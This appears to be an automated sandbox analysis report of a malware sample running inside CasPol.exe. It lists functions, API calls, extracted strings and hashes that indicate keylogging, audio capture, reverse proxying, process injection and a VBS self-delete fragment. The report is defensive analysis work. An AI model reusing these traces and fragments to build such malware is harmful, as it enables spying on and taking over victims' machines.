                                                                                                                                                                  • String ID: Connection Failed: $Connection Refused$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
                                                                                                                                                                  • API String ID: 994465650-2151626615
                                                                                                                                                                  • Opcode ID: 62f3c4882b49c5ff5d63aa71430f88bee7d31ae11dd357ee521aebef95a1510e
                                                                                                                                                                  • Instruction ID: b196b808fbc66b1ac8da6b4b51d7f626a0d3d22bc4cde50e21f83cd2c7739b74
                                                                                                                                                                  • Opcode Fuzzy Hash: 62f3c4882b49c5ff5d63aa71430f88bee7d31ae11dd357ee521aebef95a1510e
                                                                                                                                                                  • Instruction Fuzzy Hash: ED4128B1B00202A7CB04B77A8C5B66D7A55AB81368B40007FF901676D3EE7DAD6087DF
                                                                                                                                                                  Function 0040C66D Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 147COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00411699: TerminateProcess.KERNEL32(00000000,?,0040C67D), ref: 004116A9
                                                                                                                                                                    • Part of subcall function 00411699: WaitForSingleObject.KERNEL32(000000FF,?,0040C67D), ref: 004116BC
                                                                                                                                                                    • Part of subcall function 0041265D: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,?), ref: 00412679
                                                                                                                                                                    • Part of subcall function 0041265D: RegQueryValueExA.ADVAPI32 ref: 00412692
                                                                                                                                                                    • Part of subcall function 0041265D: RegCloseKey.ADVAPI32(?), ref: 0041269D
                                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040C6C7
                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,00000000,00465900,00465900,00000000), ref: 0040C826
                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 0040C832
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                                                                                                                                                                  • String ID: """, 0$.vbs$@CG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
                                                                                                                                                                  • API String ID: 1913171305-390638927
                                                                                                                                                                  • Opcode ID: ca681db5516d972aef640dc773a40398a070aaf6ba3dfca6e9b2ec7f30141ac0
                                                                                                                                                                  • Instruction ID: a795a6540db69397e2c5d2b70f340dd787df27bacd58b350937fb1c0aad7b7c4
                                                                                                                                                                  • Opcode Fuzzy Hash: ca681db5516d972aef640dc773a40398a070aaf6ba3dfca6e9b2ec7f30141ac0
                                                                                                                                                                  • Instruction Fuzzy Hash: A2416D329001185ACB14F762DC56DFE7779AF50718F50417FF906B30E2EE386A8ACA99
                                                                                                                                                                  Function 0044F3E1 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 269201875-0
                                                                                                                                                                  • Opcode ID: 53d41fd9a7ee4e2989e4925aa528ca2cb03ad0a377c341b032d8e4e6b559b5a3
                                                                                                                                                                  • Instruction ID: 48066223020562dfe8895eb3edc0e70975ef38ab3c96fc6f1fb07286cb8ca08d
                                                                                                                                                                  • Opcode Fuzzy Hash: 53d41fd9a7ee4e2989e4925aa528ca2cb03ad0a377c341b032d8e4e6b559b5a3
                                                                                                                                                                  • Instruction Fuzzy Hash: 2BC15772D80204BFEB20DBA9CC82FDE77F89B45704F15416AFA04FB282D6749D458B58
                                                                                                                                                                  Function 00454982 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00454650: CreateFileW.KERNEL32(00000000,?,?,+JE,?,?,00000000), ref: 0045466D
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00454A96
                                                                                                                                                                  • __dosmaperr.LIBCMT ref: 00454A9D
                                                                                                                                                                  • GetFileType.KERNEL32 ref: 00454AA9
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00454AB3
                                                                                                                                                                  • __dosmaperr.LIBCMT ref: 00454ABC
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00454ADC
                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00454C26
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00454C58
                                                                                                                                                                  • __dosmaperr.LIBCMT ref: 00454C5F
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                                                                                                                                  • String ID: H
                                                                                                                                                                  • API String ID: 4237864984-2852464175
                                                                                                                                                                  • Opcode ID: b64a76ded07e6414476391b57ad8ab2edcfe93df9d200e18b46d3283e817940b
                                                                                                                                                                  • Instruction ID: 324c09394b40af715295ff654573b8bda7a64cd12b4111e7ce26936e53f9a861
                                                                                                                                                                  • Opcode Fuzzy Hash: b64a76ded07e6414476391b57ad8ab2edcfe93df9d200e18b46d3283e817940b
                                                                                                                                                                  • Instruction Fuzzy Hash: B0A148329041044FDF19EF78D8427AE7BA0AB86319F14015EFC159F392DB398C86C75A
                                                                                                                                                                  Function 0040A3F4 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 158sleepCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • __Init_thread_footer.LIBCMT ref: 0040A456
                                                                                                                                                                  • Sleep.KERNEL32(000001F4), ref: 0040A461
                                                                                                                                                                  • GetForegroundWindow.USER32 ref: 0040A467
                                                                                                                                                                  • GetWindowTextLengthW.USER32(00000000), ref: 0040A470
                                                                                                                                                                  • GetWindowTextW.USER32(00000000,00000000,00000000,00000001,00000000), ref: 0040A4A4
                                                                                                                                                                  • Sleep.KERNEL32(000003E8), ref: 0040A574
                                                                                                                                                                    • Part of subcall function 00409D58: SetEvent.KERNEL32(?,?,00000000,0040A91C,00000000), ref: 00409D84
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                                                                                                                                                                  • String ID: [${ User has been idle for $ minutes }$]
                                                                                                                                                                  • API String ID: 911427763-3954389425
                                                                                                                                                                  • Opcode ID: a59f2f13793784003892e63950edf61f9792dfbe12456e4cbfe946a207096c8a
                                                                                                                                                                  • Instruction ID: 0ecdfa35f4bf358d0b6072dbfc0ad8fc4f94b2a12b5a089c7f39fa9b67fb4d59
                                                                                                                                                                  • Opcode Fuzzy Hash: a59f2f13793784003892e63950edf61f9792dfbe12456e4cbfe946a207096c8a
                                                                                                                                                                  • Instruction Fuzzy Hash: C451DF316083005BC614FB21D84AAAE7794BF84318F50493FF846A62E2EF7C9E55C69F
                                                                                                                                                                  Function 00413C67 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 155COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID: 65535$udp
                                                                                                                                                                  • API String ID: 0-1267037602
                                                                                                                                                                  • Opcode ID: dd6860ede333d1e13d8ba8fd5b9e65b3a11d6160404ba42ca097fcd4ed7c504e
                                                                                                                                                                  • Instruction ID: a76ad32841e4dbbb66723cf4e0556afe3febbbe66cdf8f55616d13ac9502c32b
                                                                                                                                                                  • Opcode Fuzzy Hash: dd6860ede333d1e13d8ba8fd5b9e65b3a11d6160404ba42ca097fcd4ed7c504e
                                                                                                                                                                  • Instruction Fuzzy Hash: 9D4118716083019BD7209F29E905BAB7BD8EF85706F04082FF84197391E76DCEC186AE
                                                                                                                                                                  Function 0040C89E Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetLongPathNameW.KERNEL32(00000000,?,00000208,00000000,?,00000030), ref: 0040CA04
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: LongNamePath
                                                                                                                                                                  • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                                                                                                                                                                  • API String ID: 82841172-425784914
                                                                                                                                                                  • Opcode ID: 2c32c8423f05266584aa4a08fe5fa9c2e4569a415b98fb848e0406cdb68be249
                                                                                                                                                                  • Instruction ID: 51cedb133b73bca78a9fc1065318242b3d6e678e936cb09da4a185c9a299c852
                                                                                                                                                                  • Opcode Fuzzy Hash: 2c32c8423f05266584aa4a08fe5fa9c2e4569a415b98fb848e0406cdb68be249
                                                                                                                                                                  • Instruction Fuzzy Hash: 39413A721442009BC214FB21DD96DAFB7A4AE90759F10063FB546720E2EE7CAA49C69F
                                                                                                                                                                  Function 00439361 Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 004393B9
                                                                                                                                                                  • GetLastError.KERNEL32(?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 004393C6
                                                                                                                                                                  • __dosmaperr.LIBCMT ref: 004393CD
                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 004393F9
                                                                                                                                                                  • GetLastError.KERNEL32(?,?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 00439403
                                                                                                                                                                  • __dosmaperr.LIBCMT ref: 0043940A
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401AD8,?), ref: 0043944D
                                                                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,?,?,00401AD8,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 00439457
                                                                                                                                                                  • __dosmaperr.LIBCMT ref: 0043945E
                                                                                                                                                                  • _free.LIBCMT ref: 0043946A
                                                                                                                                                                  • _free.LIBCMT ref: 00439471
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2441525078-0
                                                                                                                                                                  • Opcode ID: ab6d6df52fdda21e78bda597108ea35d8248e36eca260e6751756a241cd45372
                                                                                                                                                                  • Instruction ID: 902c93592471d116807dca9985149206a76c62e8192f2f9a6cc20a0486345b12
                                                                                                                                                                  • Opcode Fuzzy Hash: ab6d6df52fdda21e78bda597108ea35d8248e36eca260e6751756a241cd45372
                                                                                                                                                                  • Instruction Fuzzy Hash: F531F17140820ABBEF11AFA5DC449AF3B78EF09364F14016AF81066291DB79CC12DBA9
                                                                                                                                                                  Function 00404E52 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • SetEvent.KERNEL32(?,?), ref: 00404E71
                                                                                                                                                                  • GetMessageA.USER32 ref: 00404F21
                                                                                                                                                                  • TranslateMessage.USER32(?), ref: 00404F30
                                                                                                                                                                  • DispatchMessageA.USER32(?), ref: 00404F3B
                                                                                                                                                                  • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00473F80), ref: 00404FF3
                                                                                                                                                                  • HeapFree.KERNEL32(00000000,00000000,0000003B), ref: 0040502B
                                                                                                                                                                    • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                                                                                                                                                                  • String ID: CloseChat$DisplayMessage$GetMessage
                                                                                                                                                                  • API String ID: 2956720200-749203953
                                                                                                                                                                  • Opcode ID: 0622db17b8ffedd3531a9fa1e5e3f576bb625bfe4daf1fd40acc4f0bc4360242
                                                                                                                                                                  • Instruction ID: a70547b48422ce96676d24762269450ce3f1821fc9982c67352fb5fd346d99ba
                                                                                                                                                                  • Opcode Fuzzy Hash: 0622db17b8ffedd3531a9fa1e5e3f576bb625bfe4daf1fd40acc4f0bc4360242
                                                                                                                                                                  • Instruction Fuzzy Hash: F741BFB16043016BC714FB75DC5A8AE77A9ABC1714F40093EF906A31E6EF38DA05C79A
                                                                                                                                                                  Function 00416E27 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 107filesynchronizationCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,00465554), ref: 00416F24
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00416F2D
                                                                                                                                                                  • DeleteFileA.KERNEL32(00000000), ref: 00416F3C
                                                                                                                                                                  • ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 00416EF0
                                                                                                                                                                    • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseDeleteExecuteFileHandleObjectShellSingleWaitsend
                                                                                                                                                                  • String ID: <$@$@FG$@FG$Temp
                                                                                                                                                                  • API String ID: 1107811701-2245803885
                                                                                                                                                                  • Opcode ID: 248dd396e914dd493217af7d7ad54a5765675a85d7a0f101f9c1831ea090813b
                                                                                                                                                                  • Instruction ID: 21bac8b1790940aaec7d6d8591dec239f7d6dde33bc15b5890dc9a9e7f2861e5
                                                                                                                                                                  • Opcode Fuzzy Hash: 248dd396e914dd493217af7d7ad54a5765675a85d7a0f101f9c1831ea090813b
                                                                                                                                                                  • Instruction Fuzzy Hash: E8319C319002099BCB04FBA1DC56AFE7775AF50308F00417EF906760E2EF785A8ACB99
                                                                                                                                                                  Function 00406616 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 98COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetCurrentProcess.KERNEL32(00474A28,00000000,BG3i@,00003000,00000004,00000000,00000001), ref: 00406647
                                                                                                                                                                  • GetCurrentProcess.KERNEL32(00474A28,00000000,00008000,?,00000000,00000001,00000000,004068BB,C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe), ref: 00406705
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CurrentProcess
                                                                                                                                                                  • String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir$BG3i@
                                                                                                                                                                  • API String ID: 2050909247-4145329354
                                                                                                                                                                  • Opcode ID: ae628e6cf13d6acf56a74fe03314e9eaaf54e5537fc186528355c397fff7ef9b
                                                                                                                                                                  • Instruction ID: 423827b33d6c667fb1d0fc3afb55bdad30249121d517be796f0b9763ce16cf58
                                                                                                                                                                  • Opcode Fuzzy Hash: ae628e6cf13d6acf56a74fe03314e9eaaf54e5537fc186528355c397fff7ef9b
                                                                                                                                                                  • Instruction Fuzzy Hash: B2310871250700AFC300AB65EC45F6A37B8EB84716F11043EF50AE76E1EB79A8508B6D
                                                                                                                                                                  Function 00419C85 Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419C94
                                                                                                                                                                  • OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419CAB
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419CB8
                                                                                                                                                                  • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419CC7
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419CD8
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,004195F8,00000000,00000000), ref: 00419CDB
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Service$CloseHandle$Open$ControlManager
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 221034970-0
                                                                                                                                                                  • Opcode ID: 90cb661901cd042af288c915e3e3b558208b36f008bb68e694e16de296acffd5
                                                                                                                                                                  • Instruction ID: aaf019a9b49167a30595a2ca3c371567d0eeee9026f0995440eeab6e66ec65be
                                                                                                                                                                  • Opcode Fuzzy Hash: 90cb661901cd042af288c915e3e3b558208b36f008bb68e694e16de296acffd5
                                                                                                                                                                  • Instruction Fuzzy Hash: 00118632901218AFD7116B64EC85DFF3FACDB45BA5B000036F502921D1DB64DD46AAF5
                                                                                                                                                                  Function 00446DCB Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • _free.LIBCMT ref: 00446DDF
                                                                                                                                                                    • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000), ref: 00446ADB
                                                                                                                                                                    • Part of subcall function 00446AC5: GetLastError.KERNEL32(?,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?,?), ref: 00446AED
                                                                                                                                                                  • _free.LIBCMT ref: 00446DEB
                                                                                                                                                                  • _free.LIBCMT ref: 00446DF6
                                                                                                                                                                  • _free.LIBCMT ref: 00446E01
                                                                                                                                                                  • _free.LIBCMT ref: 00446E0C
                                                                                                                                                                  • _free.LIBCMT ref: 00446E17
                                                                                                                                                                  • _free.LIBCMT ref: 00446E22
                                                                                                                                                                  • _free.LIBCMT ref: 00446E2D
                                                                                                                                                                  • _free.LIBCMT ref: 00446E38
                                                                                                                                                                  • _free.LIBCMT ref: 00446E46
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free$ErrorFreeHeapLast
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 776569668-0
                                                                                                                                                                  • Opcode ID: 97a3f4e44069bc11c8e401312368c96959fa26c4fc1008248271593ee2688753
                                                                                                                                                                  • Instruction ID: b6db37451886405a3c03f61b360184b61b1678451e8b30ee63348233c964278a
                                                                                                                                                                  • Opcode Fuzzy Hash: 97a3f4e44069bc11c8e401312368c96959fa26c4fc1008248271593ee2688753
                                                                                                                                                                  • Instruction Fuzzy Hash: F011E975100408BFEB01EF55C842CDD3B65EF46354B06C0AAF9086F222DA35DE649F85
                                                                                                                                                                  Function 00410314 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 192COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Eventinet_ntoa
                                                                                                                                                                  • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$>G
                                                                                                                                                                  • API String ID: 3578746661-4192532303
                                                                                                                                                                  • Opcode ID: a05e0ddbe8dc3814f036cc210c9733109e43822c73ea3fc4ff0ab9c9ada38e94
                                                                                                                                                                  • Instruction ID: 9533851bb4e74ac183efc1d320b4a1154e984465ef7073577260c431c5a81f81
                                                                                                                                                                  • Opcode Fuzzy Hash: a05e0ddbe8dc3814f036cc210c9733109e43822c73ea3fc4ff0ab9c9ada38e94
                                                                                                                                                                  • Instruction Fuzzy Hash: E8518471A042009BC714F779D85AAAE36A59B80318F40453FF849972E2DF7CAD85CB9F
                                                                                                                                                                  Function 00455139 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,00455DAF), ref: 0045515C
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: DecodePointer
                                                                                                                                                                  • String ID: acos$asin$exp$log$log10$pow$sqrt
                                                                                                                                                                  • API String ID: 3527080286-3064271455
                                                                                                                                                                  • Opcode ID: 3eb206b15bda214751c6835efce86a307732660d26cd42cbd6c0713da10ca2d5
                                                                                                                                                                  • Instruction ID: 89d0c260ad138193cc60bb845925db7455dcb75d1c4d79333749f45855522aa5
                                                                                                                                                                  • Opcode Fuzzy Hash: 3eb206b15bda214751c6835efce86a307732660d26cd42cbd6c0713da10ca2d5
                                                                                                                                                                  • Instruction Fuzzy Hash: DA516D70900E09CBCF14DF99E9581BDBBB0FB09342F244297EC41A6266CB798A1DCB1D
                                                                                                                                                                  Function 004165FC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 103sleepfileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 0041665C
                                                                                                                                                                    • Part of subcall function 0041B61A: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041B633
                                                                                                                                                                  • Sleep.KERNEL32(00000064), ref: 00416688
                                                                                                                                                                  • DeleteFileW.KERNEL32(00000000), ref: 004166BC
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$CreateDeleteExecuteShellSleep
                                                                                                                                                                  • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                                                                                                                                                                  • API String ID: 1462127192-2001430897
                                                                                                                                                                  • Opcode ID: 826bb05371ff64d740857fa337f72034cbc796444b6efc95c58373138809deed
                                                                                                                                                                  • Instruction ID: 72b86f905f1643b809cd09d25b02ba286255726e8958c1b91c3bd62dba73c542
                                                                                                                                                                  • Opcode Fuzzy Hash: 826bb05371ff64d740857fa337f72034cbc796444b6efc95c58373138809deed
                                                                                                                                                                  • Instruction Fuzzy Hash: FD313E719001085ADB14FBA1DC96EEE7764AF50708F00013FF906731E2EF786A8ACA9D
                                                                                                                                                                  Function 00401A8E Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • _strftime.LIBCMT ref: 00401AD3
                                                                                                                                                                    • Part of subcall function 00401BE8: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401C54
                                                                                                                                                                  • waveInUnprepareHeader.WINMM(00471AC0,00000020,00000000), ref: 00401B85
                                                                                                                                                                  • waveInPrepareHeader.WINMM(00471AC0,00000020), ref: 00401BC3
                                                                                                                                                                  • waveInAddBuffer.WINMM(00471AC0,00000020), ref: 00401BD2
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
                                                                                                                                                                  • String ID: %Y-%m-%d %H.%M$.wav$`=G$x=G
                                                                                                                                                                  • API String ID: 3809562944-3643129801
                                                                                                                                                                  • Opcode ID: 05fbe3f0275308aa01def130e1c9f559704be22902734a160a2ccb4d88025906
                                                                                                                                                                  • Instruction ID: ec6e8c75c27496dd15f6dcc160753dc5291fcfbcfc36b55cd818fae73feeac55
                                                                                                                                                                  • Opcode Fuzzy Hash: 05fbe3f0275308aa01def130e1c9f559704be22902734a160a2ccb4d88025906
                                                                                                                                                                  • Instruction Fuzzy Hash: 6C317E315053009BC314EF25DC56A9E77E8BB94314F00883EF559A21F1EF78AA49CB9A
